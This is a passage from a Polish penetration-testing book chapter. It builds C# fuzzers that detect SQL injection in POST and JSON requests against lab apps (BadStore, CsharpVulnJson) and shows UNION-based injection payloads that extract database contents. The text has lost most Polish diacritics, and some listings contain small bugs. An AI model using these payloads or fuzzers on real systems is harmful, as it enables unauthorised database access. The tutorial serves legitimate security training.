Zanim zaczniemy fuzzowanie parametrów dania POST, musimy skonfigurowa
dane tak, jak pokazano na listingu 2.17.

UWAGA
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Listing 2.17. Metoda Main() czytaj ca dania POST i zapisuj ca nag ówek Host

public static void Main(string[] args)
{
    string[] requestLines = File.ReadAllLines(args[0]);
    string[] parms = requestLines[requestLines.Length - 1].Split('&');

    string host = string.Empty;
    StringBuilder requestBuilder = new StringBuilder();

    foreach (string ln in requestLines)
    {
        if (ln.StartsWith("Host:"))
            host = ln.Split(' ')[1]. Replace("\r", string.Empty);
          requestBuilder.Append(ln + "\n");
    }

    string request = requestBuilder.ToString() + "\r\n";
    Console.WriteLine(request);
}

Czytamy danie z pliku i za pomoc  wywo ania File.ReadAllLines()  prze-
kazujemy do tej metody pierwszy argument aplikacji fuzzera. U yli my metody
ReadAllLines() zamiast ReadAllText() ze wzgl du na konieczno  podzielenia

dania w celu uzyskania z niego informacji przed fuzzowaniem (dok adniej
nag ówka Host). Po przeczytaniu dania wiersz po wierszu do tablicy ci gów
znaków i pobraniu parametrów z ostatniego wiersza pliku  deklarujemy dwie
zmienne.

W zmiennej host  przechowujemy adres IP hosta, do którego wysy amy
danie. Poni ej zadeklarowano obiekt System.Text.StringBuilder , który wyko-

rzystamy do utworzenia pe nego dania jako pojedynczego ci gu znaków.

U ywamy obiektu StringBuilder, poniewa  gwarantuje on wi ksz  wydajno
w porównaniu z operatorem +=, u ywanym z podstawowym typem string (za ka -
dym razem, gdy u ywamy operatora +=, tworzymy w pami ci nowy obiekt
string). Przy takim ma ym pliku nie zauwa ymy ró nicy, ale b dzie ona widoczna
w przypadku obs ugi wielu ci gów znaków w pami ci. U ycie obiektu StringBuilder
tworzy tylko jeden obiekt w pami ci, co powoduje znacznie mniejsze obci enie
pami ci.

Nast pnie przetwarzamy w p tli wszystkie wiersze dania, które wcze niej
zosta o odczytane. Sprawdzamy, czy wiersz zaczyna si  od "Host:", a je li tak
jest, to przypisujemy drug  cz  ci gu hosta do zmiennej host (to powinien by
adres IP). Nast pnie wywo ujemy na ci gu znaków metod  Replace() , aby
usun  ewentualne ko cowe znaki \r, które mog y pozosta  w niektórych wer-
sjach Mono (poniewa  adres IP nie zawiera ko cowych znaków \r). Na koniec
do czamy wiersz z \r\n do obiektu StringBuilder. Po zbudowaniu pe nego dania

UWAGA
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przypisujemy go do nowej zmiennej typu string o nazwie request (w przypadku
HTTP danie musi ko czy  si  symbolem \r\n; w przeciwnym razie serwer
nie prze le odpowiedzi).

Fuzzowanie parametrów
Teraz, gdy mamy pe ne danie do wysy ania, musimy przetworzy  je w p tli i pod-
j  prób  fuzzowania parametrów pod k tem wra liwo ci na iniekcje SQL. We-
wn trz tej p tli korzystamy z klas System.Net.Sockets.Socket i System.Net.
IPEndPoint. Poniewa  mamy kompletne danie HTTP jako ci g znaków, mo e-

my u y  prostego gniazda do komunikacji z serwerem, zamiast korzysta  z bibliotek
HTTP w celu utworzenia dania. Teraz mamy wszystko, czego potrzebujemy
do fuzzowania serwera w sposób pokazany na listingu 2.18.

Listing 2.18. Dodatkowy kod wprowadzony do metody Main() w celu fuzzowania
parametrów POST

IPEndPoint rhost =  new IPEndPoint(IPAddress.Parse(host), 80);
foreach (string parm in parms)
{
    using (Socket sock = new Socket(AddressFamily.InterNetwork,
    SocketType.Stream, ProtocolType.Tcp))
    {
        sock. Connect(rhost);

        string val = parm. Split('=')[1];
        string req = request. Replace("=" + val, "=" + val + "'");

        byte[] reqBytes = Encoding.ASCII.GetBytes(req);
        sock. Send(reqBytes);

        byte[] buf = new byte[sock.ReceiveBufferSize];

        sock. Receive(buf);
        string response = Encoding.ASCII.GetString(buf);
        if (response.Contains("error in your SQL syntax"))
            Console.WriteLine("Parametr " + parm + " wygl da na wra liwy");
            Console.Write(" na iniekcj  SQL z warto ci : " + val + "'");
    }
}

W kodzie z listingu 2.18 tworzymy nowy obiekt IPEndPoint  poprzez prze-
kazanie nowego obiektu IPAddress zwróconego przez wywo anie IPAddress.
Parse(host) i portu, który wykorzystamy do po czenia z adresem IP (80). Teraz

mo emy przetwarza  w p tli parametry, które wcze niej zosta y pobrane ze zmien-
nej requestLines. W ka dej iteracji musimy stworzy  nowe po czenie Socket 
oraz u ywamy wywo ania AddressFamily.InterNetwork w celu poinformowania
gniazda, e mamy do czynienia z IPv4 (wersja 4 protoko u Internet Protocol,
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w przeciwie stwie do IPv6). U ywamy te  SocketType.Stream, by poinformowa
gniazdo, e jest ono strumieniowe (z obs ug  stanów — ang. stateful, dwukierun-
kowe i wiarygodne).

U ywamy równie  argumentu ProtocolType.Tcp, eby poinformowa  gniazdo,
e u ywamy protoko u TCP.

Po utworzeniu egzemplarza obiektu mo emy wywo a  na nim metod  Connect()
 i przekaza  w roli argumentu obiekt rhost typu IPEndPoint. Po pod czeniu do

zdalnego hosta na porcie 80 mo emy rozpocz  fuzzowanie parametru. Dzielimy
parametr z p tli foreach na znaku równo ci (=)  i wyodr bniamy warto  tego
parametru za pomoc  warto ci spod drugiego indeksu tablicy (uzyskanego w wyni-
ku wywo ania metody). Nast pnie wywo ujemy na ci gu dania metod  Replace()

 w celu zast pienia warto ci pierwotnej warto ci  ska on . Na przyk ad, je li
nasza warto  w ci gu parametrów 'blah=foo&blergh=bar' to foo, to zast pujemy
s owo foo s owem foo' (zwró my uwag  na apostrof na ko cu).

Nast pnie przy u yciu wywo ania Encoding.ASCII.GetBytes()  pobieramy
tablic  bajtów reprezentuj cych ci g i przesy amy przez gniazdo  do portu
serwera podanego w konstruktorze obiektu IPEndPoint.

Jest to równowa ne przes aniu dania z przegl darki WWW do adresu URL
podanego w pasku adresu.

Po wys aniu dania tworzymy tablic  bajtów o rozmiarze równym rozmiarowi
otrzymanej odpowiedzi i wype niamy j  odpowiedzi  z serwera za pomoc  metody
Receive() . Do uzyskania ci gu reprezentowanego przez tablic  bajtów u ywamy
wywo ania Encoding.ASCII.GetString() . Nast pnie mo emy sparsowa  odpo-
wied  otrzyman  z serwera.

Odpowied  z serwera testujemy poprzez sprawdzenie, czy w danych odpowie-
dzi jest komunikat o b dzie SQL, którego oczekujemy.

Fuzzer powinien wy wietla  wszystkie parametry, które powoduj  b dy SQL,
jak pokazano na listingu 2.19.

Listing 2.19. Wynik dzia ania fuzzera POST na daniu

$ mono   POST_fuzzer.exe   /tmp/request
Parametr cartitem = 1000 wygl da na wra liwy na iniekcj  SQL
z warto ci : 1000'

Parametr cartitem = 1003 wygl da na wra liwy na iniekcj  SQL
z warto ci : 1003'

$

Jak wida  w wyniku dzia ania fuzzera, parametr HTTP cartitem wygl da na
wra liwy na iniekcj  SQL. Gdy wstawimy apostrof do bie cej warto ci parametru
HTTP, w odpowiedzi uzyskujemy b d SQL, co oznacza, e prawdopodobie stwo
zagro enia atakami iniekcji SQL jest bardzo du e.
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Fuzzowanie danych w formacie JSON
In ynierowie zajmuj cy si  testami penetracyjnymi z pewno ci  spotkaj  si
z us ugami sieciowymi, które akceptuj  dane wej ciowe serializowane w postaci
JSON (ang. JavaScript Object Notation). Aby pomóc czytelnikom nauczy  si  fuz-
zowania da  HTTP JSON, napisa em niewielk  aplikacj  webow  o nazwie
CsharpVulnJson, która pobiera dane w formacie JSON i u ywa informacji zapisanych
w tych danych do utrwalania i wyszukiwania danych zwi zanych z u ytkownikami.
Aby us uga sieciowa dzia a a „po wyj ciu z pude ka”, stworzy em niewielk  maszy-
n  wirtualn , która jest dost pna w witrynie VulnHub (http://www.vulnhub.com/).

Konfigurowanie wra liwego urz dzenia
Aplikacja CsharpVulnJson jest dostarczana jako plik OVA — kompletne archiwum
maszyny wirtualnej, które mo na bez trudu zaimportowa  do wybranego pakietu
wirtualizacji. W wi kszo ci przypadków dwukrotne klikni cie pliku OVA powoduje
uruchomienie oprogramowania wirtualizacji w celu automatycznego zaimporto-
wania urz dzenia.

Przechwytywanie wra liwych da  JSON
Po uruchomieniu aplikacji CsharpVulnJson skieruj przegl dark  Firefox do portu
80 na maszynie wirtualnej. Powiniene  zobaczy  interfejs zarz dzania u ytkowni-
kami podobny do tego, który pokazano na rysunku 2.7. Tutaj skoncentrujemy si
na tworzeniu u ytkowników za pomoc  przycisku Create User oraz dania HTTP
tworzonego w wyniku klikni cia tego przycisku podczas tworzenia u ytkownika.

Zak adaj c, e Firefox nadal jest skonfigurowany do przetwarzania da  przez
serwer HTTP proxy Burp Suite, wype nij pola danych u ytkownika i kliknij przy-
cisk Create User. Spowoduje to stworzenie w okienku dania Burp Suite dania
HTTP z informacjami o u ytkowniku wewn trz skrótu danych w formacie JSON,
tak jak pokazano na listingu 2.20.

Listing 2.20. danie utworzenia u ytkownika z danymi JSON zawieraj cymi informacje
o u ytkowniku do zapisania w bazie danych

POST /Vulnerable.ashx HTTP/1.1
Host: 192.168.1.56
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:26.0)
Gecko/20100101 Firefox/26.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=UTF-8
Referer: http://192.168.1.56/
Content-Length: 190
Cookie: ASP.NET_SessionId=5D14CBC0D339F3F054674D8B
Connection: keep-alive Pragma: no-cache
Cache-Control: no-cache
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Rysunek 2.7. Aplikacja CsharpVulnJson otwarta w przegl darce Firefox

{"Nazwa u ytkownika": "whatthebobby", "has o": "propane1", "wiek": 42,
"wiersz1": "123 Main St", "wiersz2": "","miasto": "Arlen", "stan":
"TX", "zip": 78727, "pierwszy": "Hanka", " rodkowy": "","ostatni":
"Hill", "Metoda": "Tworzenie"}

Teraz kliknij prawym przyciskiem myszy w okienku dania i wybierz Copy
to File. Na pytanie o lokalizacj  zapisu dania HTTP na komputerze wska  miejsce
i zapami taj, gdzie zapisano danie, poniewa  trzeba b dzie przekaza  cie k
do fuzzera.

Tworzenie fuzzera JSON
Aby fuzzowa  takie danie HTTP, trzeba oddzieli  dane w formacie JSON od po-
zosta ej cz ci dania. Nast pnie musimy iterowa  po wszystkich parach klucz-
warto  wewn trz danych w formacie JSON i modyfikowa  warto , próbuj c
wywo a  b d serwera WWW.

Czytanie pliku dania
Aby utworzy  fuzzer dania HTTP w formacie JSON, zaczynamy od znanego,
dobrego dania HTTP ( danie Create User). Za pomoc  wcze niej zapisanego

dania HTTP mo emy wczyta  danie i rozpocz  proces fuzzowania, tak jak
pokazano na listingu 2.21.
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Listing 2.21. Metoda Main, która inicjuje fuzzowanie parametru JSON

public static void Main(string[] args)
{
    string url = args[0];
    string requestFile = args[1];
    string[] request = null;

    using (StreamReader rdr = new
StreamReader(File. OpenRead(requestFile)))
        request  = rdr. ReadToEnd(). Split('\n');

    string json = request[request.Length - 1];
    JObject obj = JObject.Parse(json);

    Console.WriteLine ("Fuzzowanie da  POST do adresu URL" + url);
    IterateAndFuzz(url, obj);
}

Pierwsz  rzecz , jak  musimy zrobi , jest zapisanie pierwszego  i drugiego 
argumentu przekazanych do fuzzera w dwóch zmiennych (odpowiednio url
i requestFile). Deklarujemy równie  tablic  ci gów znaków, do której zostan
przypisane dane w daniu HTTP po przeczytaniu dania z systemu plików.

W kontek cie instrukcji using otwieramy plik dania do odczytu za pomoc
wywo ania File.OpenRead()  i przekazujemy zwrócony strumie  pliku do kon-
struktora obiektu StreamReader . Po utworzeniu nowego egzemplarza klasy
StreamReader mo emy odczyta  wszystkie dane z pliku za pomoc  metody Read
ToEnd() . Poza tym dzielimy dane w pliku dania, za pomoc  metody Split() 

przekazuj c do metody symbol nowego wiersza jako separator podzia u dania.
Zgodnie z zasadami obowi zuj cymi dla protoko u HTTP, do oddzielenia nag ów-
ków od danych wysy anych w daniu s  u ywane znaki przej cia do nowego
wiersza (dok adniej symbole powrotu karetki i wysuwu wiersza). Tablica ci gów
znaków zwrócona wcze niej przez metod  Split() jest przypisywana zadeklarowa-
nej wcze niej zmiennej request.

Po przeczytaniu i podzieleniu pliku dania mo emy pobra  potrzebne dane
JSON do sfuzzowania i rozpocz  iterowanie po parach klucz-warto  w formacie
JSON w celu wyszukania wektorów iniekcji SQL.

Dane JSON, które nas interesuj , znajduj  si  w ostatnim wierszu dania
HTTP, który jest jednocze nie ostatnim elementem w tablicy request. Poniewa
pierwszy element w tablicy ma indeks 0, to mo emy odj  1 od d ugo ci tablicy
request, wykorzysta  obliczon  warto  do pobrania ostatniego elementu z tablicy
i przypisa  warto  do ci gu json .

Po oddzieleniu danych w formacie JSON z dania HTTP mo emy sparsowa
ci g json i utworzy  obiekt JObject, po którym mo emy programowo iterowa
za pomoc  metody JObject.Parse() . Klasa JObject nale y do biblioteki
Json.NET, która jest dost pna za darmo za po rednictwem Mened era pakietów
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NuGet lub pod adresem http://www.newtonsoft.com/json/. B dziemy u ywa  tej
biblioteki w przyk adach w ca ej ksi ce.

Po utworzeniu nowego egzemplarza klasy JObject wy wietlamy wiersz statusu,
aby poinformowa  u ytkownika, e fuzzujemy danie POST do podanego adresu
URL. Na koniec przekazujemy do metody IterateAndFuzz()  obiekt JObject i ad-
res URL w celu wykonania da  HTTP POST oraz przetwarzania formatu JSON
i fuzzowania aplikacji webowej.

Iterowanie po kluczach i warto ciach JSON
Teraz mo emy rozpocz  iterowanie po wszystkich parach klucz-warto  wewn trz
formatu JSON i konfigurowa  poszczególne pary w celu testowania pod k tem
istnienia mo liwych wektorów iniekcji SQL. Sposób, w jaki nale y to zrobi  za
pomoc  metody IterateAndFuzz(), pokazano na listingu 2.22.

Listing 2.22. Metoda IterateAndFuzz(), wyznaczaj ca pary klucz-warto  w formacie JSON
do fuzzowania

private static void IterateAndFuzz(string url, JObject obj)
{
    foreach (var pair in (JObject) obj.DeepClone())
    {
        if (pair.Value.Type == JTokenType.String || pair.Value.
        Type ==  JTokenType.Integer)
        {
            Console.WriteLine ("Fuzzowanie klucza: " + pair.Key);

            if (pair.Value.Type == JTokenType.Integer)
            Console.WriteLine("Konwersja typu int na string
            w celu fuzzowania");

            JToken oldVal = pair.Value;
            obj[pair.Key] = pair.Value.ToString() + "'";

            if ( Fuzz(url, obj.Root))
                Console.WriteLine ("Wektor iniekcji SQL: " + pair.Key);
            else
                Console.WriteLine (pair.Key + " nie wygl da na wra liwy.");

        obj[pair.Key] = oldVal;
        }
    }
}

Metoda IterateAndFuzz() zaczyna si  od przetwarzania w p tli foreach par
klucz-warto  zapisanych w obiekcie JObject. Poniewa  b dziemy zmienia  warto-
ci w ci gu JSON poprzez wstawianie do nich apostrofów, wywo ujemy metod
DeepClone()  tak, aby uzyska  oddzielny obiekt, który jest identyczny z obiektem
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pierwotnym. To pozwala na iterowanie po jednej kopii pary JSON klucz-warto
w tym samym czasie, w którym drug  modyfikujemy (trzeba stworzy  kopi ,
poniewa  w p tli foreach nie mo na zmienia  obiektu, po którym iterujemy).

Wewn trz p tli foreach testujemy, czy warto  w bie cej parze klucz-warto
pary jest typu JTokenType.String , czy JTokenType.Integer , i kontynuujemy
fuzzowanie tej warto ci, je li warto  jest typu string lub integer. Po wy wietleniu
komunikatu  informuj cego u ytkownika, który klucz jest fuzzowany, sprawdza-
my, czy warto  jest liczb  ca kowit , aby powiadomi  u ytkownika, e istnieje
mo liwo  konwersji warto ci z formatu liczby ca kowitej na ci g znaków.

Ze wzgl du na to, e liczby w formacie JSON s  pisane bez cudzys owów i musz
by  liczbami ca kowitymi lub zmiennoprzecinkowymi, wstawienie warto ci z apo-
strofem spowoduje wyj tek parsowania. Dla wielu aplikacji webowych ze s ab
kontrol  typów napisanych w Ruby on Rails lub Pythonie nie ma znaczenia to,
czy zmieni  si  typ warto ci JSON, natomiast aplikacje webowe napisane w j zykach
silnie typowanych, takich jak Java lub C#, mog  dzia a  inaczej, ni  oczekiwano.
Dla aplikacji webowej CsharpVulnJson nie ma znaczenia, czy typ zosta  celowo
zmieniony.

Nast pnie zapisujemy poprzedni  warto  w zmiennej oldVal , aby mo na
j  by o zast pi  po sfuzzowaniu bie cej pary klucz-warto . Po zapisaniu starej
warto ci ponawiamy przypisanie do bie cej warto ci  warto ci oryginalnej, ale
z apostrofem do czonym na ko cu. Je li w tej postaci zostanie ona umieszczona
w kwerendzie SQL, powinno to spowodowa  wyj tek parsowania.

Aby stwierdzi , czy zmodyfikowana warto  spowoduje b d w aplikacji webo-
wej, przekazujemy zmodyfikowane dane JSON i adres URL, gdzie nale y je prze-
s a  do metody Fuzz()  (opisanej dalej). Metoda ta zwraca warto  logiczn
Boolean, która mówi o tym, czy warto  JSON mo e by  wra liwa na iniekcj
SQL. Je li metoda Fuzz() zwróci true, to informujemy u ytkownika, e warto
mo e by  wra liwa na iniekcj  SQL. Je li zwróci false, to mo emy poinformowa
u ytkownika, e klucz nie wydaje si  zagro ony.

Po ustaleniu, czy warto  jest wra liwa na iniekcj  SQL, zast pujemy zmodyfi-
kowan  warto  JSON warto ci  pierwotn   i przechodzimy do nast pnej pary
klucz-warto .

Fuzzowanie z daniem HTTP
Na koniec musimy utworzy  w a ciwe dania HTTP ze ska onymi warto ciami
JSON i odczyta  odpowied  z serwera w celu ustalenia, czy warto  jest wra liwa
na iniekcj . Na listingu 2.23 pokazano, jak metoda Fuzz() tworzy danie HTTP
i sprawdza odpowied  na okre lone ci gi znaków w celu ustalenia, czy warto
JSON jest wra liwa na iniekcj  SQL.

UWAGA
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Listing 2.23. Metoda Fuzz(), która realizuje w a ciw  komunikacj  z serwerem

private static bool Fuzz(string url, JToken obj)
{
    byte[] data  = System.Text.Encoding.ASCII.
    GetBytes(obj. ToString());

    HttpWebRequest req = (HttpWebRequest) WebRequest.Create(url);
    req.Method = "POST";
    req.ContentLength = data.Length;
    req.ContentType = "application/javascript";

    using (Stream stream = req. GetRequestStream())
        stream. Write(data,  0, data.Length);

    try
    {
        req. GetResponse();
    }
    catch (WebException e)
    {
        string resp = string.Empty;
        using (StreamReader r = new StreamReader
        (e.Response. GetResponseStream()))
            resp = r. ReadToEnd();

        return (resp. Contains("syntax error") || resp.

        Contains("unterminated"));
    }

    return false;
}

Poniewa  musimy przes a  ca y ci g JSON w formie bajtów, przekazujemy
tekstow  wersj  obiektu JObject zwróconego przez metod  ToString()  do meto-
dy GetBytes() , która zwraca tablic  bajtów reprezentuj cych ci g JSON. Budu-
jemy równie  pierwotne danie HTTP przez wywo anie statycznej metody
Create()  klasy WebRequest w celu utworzenia nowego egzemplarza klasy
WebRequest oraz rzutujemy wynikowy obiekt na typ HttpWebRequest. Nast pnie
przypisujemy metod  HTTP, rozmiar zawarto ci i typ zawarto ci dania. Do
w a ciwo ci Method przypisujemy warto  POST, poniewa  warto  domy lna to GET,
oraz przypisujemy rozmiar tablicy bajtowej, któr  b dziemy przesy a  do w a ci-
wo ci ContentLength. Na koniec przypisujemy application/javascript do w a ci-
wo ci ContentType, by zyska  pewno , e serwer WWW wie, e odbierane dane
powinny by  poprawnie sformatowanymi danymi JSON.

Kolejnym zadaniem jest zapisanie danych JSON do strumienia dania. Wy-
wo ujemy metod  GetRequestStream()  i przypisujemy strumie  zwrócony do
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zmiennej w kontek cie instrukcji using, tak aby strumie  zosta  poprawnie usuni ty
po u yciu. Nast pnie wywo ujemy metod  Write() strumienia , która przyjmuje
trzy argumenty: tablic  bajtow  zawieraj c  dane JSON, indeks tablicy, od którego
chcemy rozpocz  pisanie, oraz liczb  bajtów, które chcemy zapisa  (poniewa
chcemy zapisa  wszystkie, to przekazujemy ca  d ugo  tablicy danych).

Aby otrzyma  odpowied  z serwera, tworzymy blok try, tak by mo na by o
przechwyci  wyj tki i pobra  odpowiedzi. Wewn trz bloku try wywo ujemy
metod  GetResponse()  w celu podj cia próby pobrania odpowiedzi z serwera,
ale interesuj  nas tylko odpowiedzi z kodem HTTP 500 lub wy szym, które mog y-
by spowodowa  zg oszenie wyj tku przez metod  GetResponse().

Aby przechwyci  te odpowiedzi, za blokiem try umie cili my blok catch, w któ-
rym wywo ujemy metod  GetResponseStream() , i na podstawie zwróconego
strumienia tworzymy nowy obiekt StreamReader. Korzystaj c z metody ReadToEnd()
strumienia , zapisujemy odpowied  serwera w zmiennej tekstowej resp (zadekla-
rowanej przed blokiem try).

Aby ustali , czy wysy ana warto  mog a przyczyni  si  do b du SQL,
sprawdzamy odpowied  pod k tem jednego z dwóch znanych ci gów, które wyst -
puj  w komunikatach o b dach SQL. Pierwszy z nich, "syntax error" , to
ogólny ci g znaków wyst puj cy w komunikatach o b dach MySQL, podobny do
tego, który pokazano na listingu 2.24.

Listing 2.24. Przyk adowy komunikat o b dzie MySQL zawieraj cy ci g „syntax error”

ERROR: 42601: syntax error at or near &quot;dsa&quot;

Drugi ci g, "unterminated" , wyst puje w specyficznych komunikatach
o b dach MySQL, gdy ci g nie jest zako czony. Przyk ad takiego komunikatu za-
mieszczono na listingu 2.25.

Listing 2.25. Przyk adowy komunikat o b dzie MySQL zawieraj cy ci g „unterminated”

ERROR: 42601: unterminated quoted string at or near "'); "

Obecno  dowolnego komunikatu o b dzie mo e oznacza  wra liwo  na in-
iekcj  SQL w aplikacji. Je li odpowied  z serwera zawiera dowolny z wymienio-
nych ci gów, to zwracamy warto  true do metody wywo uj cej, czyli uwa amy,
e aplikacja jest wra liwa. W przeciwnym razie zwracamy false.

Testowanie fuzzera JSON
Po uko czeniu trzech metod koniecznych do fuzzowania dania HTTP w forma-
cie JSON mo emy przetestowa  danie HTTP Create User, jak pokazano na
listingu 2.26.
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Listing 2.26. Wynik dzia ania fuzzera JSON dla aplikacji CsharpVulnJson

$ fuzzer.exe http://192.168.1.56/Vulnerable.ashx
/Users/bperry/req_vulnjson

Fuzzowanie da  POST do adresu URL http://192.168.1.13/Vulnerable.ashx
Fuzzowanie klucza: username
Wektor iniekcji SQL: username
Fuzzowanie klucza: password
Wektor iniekcji SQL: password
Fuzzowanie klucza: age
Konwersja typu int na string w celu fuzzowania
Wektor iniekcji SQL: age
Fuzzowanie klucza: line1
Wektor iniekcji SQL: line1
Fuzzowanie klucza: line2
Wektor iniekcji SQL: line2
Fuzzowanie klucza: city
Wektor iniekcji SQL: city
Fuzzowanie klucza: state
Wektor iniekcji SQL: state
Fuzzowanie klucza: zip
Konwersja typu int na string w celu fuzzowania
Wektor iniekcji SQL: zip
Fuzzowanie klucza: first
first nie wygl da na wra liwy.
Fuzzowanie klucza: middle
middle nie wygl da na wra liwy.
Fuzzowanie klucza: last
last nie wygl da na wra liwy.
Fuzzowanie klucza: method
method nie wygl da na wra liwy.

Uruchomienie fuzzera dla dania Create User powinno pokaza , e wi k-
szo  parametrów jest nara onych na atak iniekcj  SQL (wiersze zaczynaj ce si
od Wektor iniekcji SQL). Wyj tkiem jest klucz JSON method  u ywany w aplikacji
webowej do ustalenia operacji, która ma by  wykonana. Zwró my uwag , e nawet
parametry age  i zip  — oryginalnie liczby ca kowite w formacie JSON — s
zagro one, je li podczas testu zostan  poddane konwersji na ci g znaków.

Wykorzystywanie iniekcji SQL
Znalezienie mo liwych iniekcji SQL to tylko po owa sukcesu w pracy testera
penetracyjnego. Wa niejsza i trudniejsza po owa to próba ich wykorzystania.
Wcze niej w tym rozdziale u yli my adresu URL aplikacji BadStore do sfuzzowa-
nia parametrów ci gu zapytania HTTP, z których jeden — o nazwie searchquery
— by  wra liwy na iniekcj  SQL (patrz listing 2.13 na str. 25). Parametr ci gu
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kwerendy URL searchquery jest wra liwy na dwa typy technik iniekcji SQL. Warto
zapozna  si  z obydwoma typami iniekcji (bazuj cym na typie Boolean i na opera-
cji UNION), dlatego opisz  pisanie eksploitów dla obu typów przy u yciu tego samego
wra liwego adresu URL BadStore.

Technika z operacj  UNION jest atwiejsza w u yciu podczas wykorzystywania
iniekcji SQL. Gdy mo na zarz dza  ko cem kwerendy SQL, to mo liwe jest sko-
rzystanie z operacji UNION w iniekcjach do kwerend SELECT. Napastnik, który
zdo a do czy  instrukcj  UNION na ko cu instrukcji SELECT, mo e zwróci  do
aplikacji webowej wi cej wierszy danych, ni  pierwotnie zak ada  programista.

Jednym z najtrudniejszych elementów iniekcji SQL bazuj cej na instrukcji
UNION jest równowa enie kolumn. Ogólnie rzecz bior c, nale y u y  w klauzuli
UNION takiej samej liczby kolumn, jak  zwraca a z bazy danych oryginalna instrukcja
SELECT. Kolejnym wyzwaniem jest programowe przekazanie polecenia, gdzie
wewn trz odpowiedzi z serwera WWW maj  pojawi  si  wstrzykni te wyniki.

Wykorzystywanie eksploita bazuj cego
na instrukcji UNION r cznie
Korzystanie z iniekcji SQL bazuj cych na instrukcji UNION to najszybszy sposób
pobierania danych z bazy danych. Aby skorzysta  z tej techniki w celu pobrania
danych kontrolowanych przez napastnika z bazy, trzeba zbudowa  adunek, który
pobiera t  sam  liczb  kolumn, co pierwotna kwerenda SQL u ywana w aplikacji
webowej. Gdy zdo amy zrównowa y  liczb  kolumn, musimy by  w stanie wyszuka
programowo w odpowiedzi HTTP dane z bazy danych.

Gdy zostanie podj ta próba zrównowa enia kolumn w iniekcji SQL bazu-
j cej na operacji UNION i liczba kolumn si  nie równowa y, to zazwyczaj aplika-
cja korzystaj ca z bazy danych MySQL zwraca b d podobny do pokazanego na
listingu 2.27.

Listing 2.27. Przyk adowy komunikat o b dzie MySQL w przypadku, gdy kwerendy SELECT
po lewej i prawej stronie s owa kluczowego UNION nie s  zrównowa one

The used SELECT statements have a different number of columns...

We my wra liwy wiersz kodu z aplikacji webowej BadStore (badstore.cgi,
wiersz 203) i zobaczmy, ile kolumn zosta o wybranych w instrukcji (patrz listing 2.28).

Listing 2.28. Wra liwy wiersz w aplikacji webowej BadStore, w której instrukcja SELECT
wybiera cztery kolumny

$sql="SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE
'$squery' IN (itemnum,sdesc,ldesc)";

Równowa enie instrukcji SELECT wymaga troch  testów, ale w tym przypadku
wiem (bo czyta em kod ród owy), e ta konkretna kwerenda SELECT zwraca cztery
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kolumny. Je li w adunku zawieraj cym spacje kodowane w adresie URL za po-
moc  znaków plus (+) przeka emy s owo "hacked", to zauwa ymy, e s owo to zo-
sta o zwrócone w wynikach wyszukiwania (patrz listing 2.29).

Listing 2.29. W a ciwie zrównowa ony atak iniekcji SQL, który zwraca s owo „hacked”
z bazy danych

searchquery=fdas'+UNION+ALL+SELECT+NULL, NULL, 'hacked', NULL%23

Gdy warto  searchquery w tym adunku zostanie przekazana do aplikacji, to
zmienna searchquery b dzie u yta bezpo rednio w kwerendzie SQL wysy anej do
bazy danych. W takiej sytuacji przekszta camy pierwotn  kwerend  SQL (listing 2.28)
na now  kwerend  SQL niezamierzon  pierwotnie przez programist  (listing 2.30).

Listing 2.30. Pe na kwerenda SQL z do czonym adunkiem, która zwraca s owo „hacked”

SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE 'fdas' UNION ALL
SELECT NULL, NULL, 'hacked', NULL # ' IN (itemnum,sdesc,ldesc)

Do podzielenia oryginalnej kwerendy SQL u yli my znaku krzy yka (#) ,
co spowodowa o przekszta cenie kodu SQL wyst puj cego za adunkiem w komen-
tarz, który nie zostanie uruchomiony przez MySQL. Teraz wszystkie dodatkowe
dane (w tym przypadku s owo "hacked"), które chcemy zwróci  w odpowiedzi ser-
wera WWW, powinny znale  si  w trzeciej kolumnie instrukcji UNION.

Dla cz owieka ustalenie danych zwróconych przez adunek na stronie
WWW po wykorzystaniu luki jest stosunkowo atwe. Jednak w przypadku kom-
puterów trzeba przekaza  informacj  o tym, gdzie szuka  danych zwracanych
przez eksploita iniekcji SQL. Programowe wykrycie w odpowiedzi serwera
miejsca, gdzie znajduj  si  dane kontrolowane przez napastnika, mo e by  trudne.
Aby to u atwi , mo emy u y  funkcji SQL CONCAT w celu otoczenia danych, które
nas interesuj , znanymi markerami, jak pokazano na listingu 2.31.

Listing 2.31. Przyk adowy adunek dla parametru searchquery, który zwraca s owo
„hacked”

searchquery=fdsa'+UNION+ALL+SELECT+NULL, NULL, CONCAT
(0x71766a7a71,'hacked',0x716b626b71), NULL#

W adunku z listingu 2.31 u yto danych szesnastkowych w celu wprowadzenia
z lewej i prawej strony dodatkowego s owa „hacked” znanych danych. Je eli adu-
nek zostanie umieszczony w kodzie HTML zwróconym przez aplikacj  webow ,
to b dzie mo na wykry  pierwotny adunek za pomoc  wyra enia regularnego.
W tym przyk adzie warto ci 0x71766a7a71 odpowiada ci g qvjzq, natomiast ci gowi
0x716b626b71 ci g qkbkq. Je li iniekcja dzia a, to odpowied  powinna zawiera
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ci g qvjzqhackedqkbkq. Je li iniekcja nie dzia a, a wyniki wyszukiwania s  wy wie-
tlone w niezmienionej postaci, to wyra enie regularne takie jak qvjzq(.*)qkbkq
nie dopasuje warto ci szesnastkowych umieszczonych w pierwotnym adunku.

Funkcja MySQL CONCAT() dostarcza wygodny sposób zadbania o to, by eksploit
pobra  w a ciwe dane z odpowiedzi serwera WWW.

Bardziej u yteczny przyk ad zamieszczono na listingu 2.32. W tym przyk a-
dzie zmodyfikowali my funkcj  CONCAT() z poprzedniego adunku w taki sposób,
by zwraca a nazw  bie cej bazy danych w otoczeniu znanych markerów po lewej
i prawej stronie.

Listing 2.32. Przyk adowy adunek, który zwraca nazw  bie cej bazy danych

CONCAT(0x7176627a71, DATABASE(), 0x71766b7671)

W wyniku iniekcji SQL w funkcji wyszukiwania aplikacji BadStore powinni-
my uzyska  ci g qvbzqbadstoredbqvkvq. Wyra enie regularne qvbzq(.*) qvkvq po-

winno zwróci  warto  badstoredb — nazw  bie cej bazy danych.
Teraz, gdy wiemy, jak skutecznie pobiera  warto ci z bazy danych, mo emy

rozpocz  ci ganie danych z bie cej bazy danych przy u yciu iniekcji bazuj -
cych na instrukcji UNION. Jedn  ze szczególnie przydatnych tabel w wi kszo ci
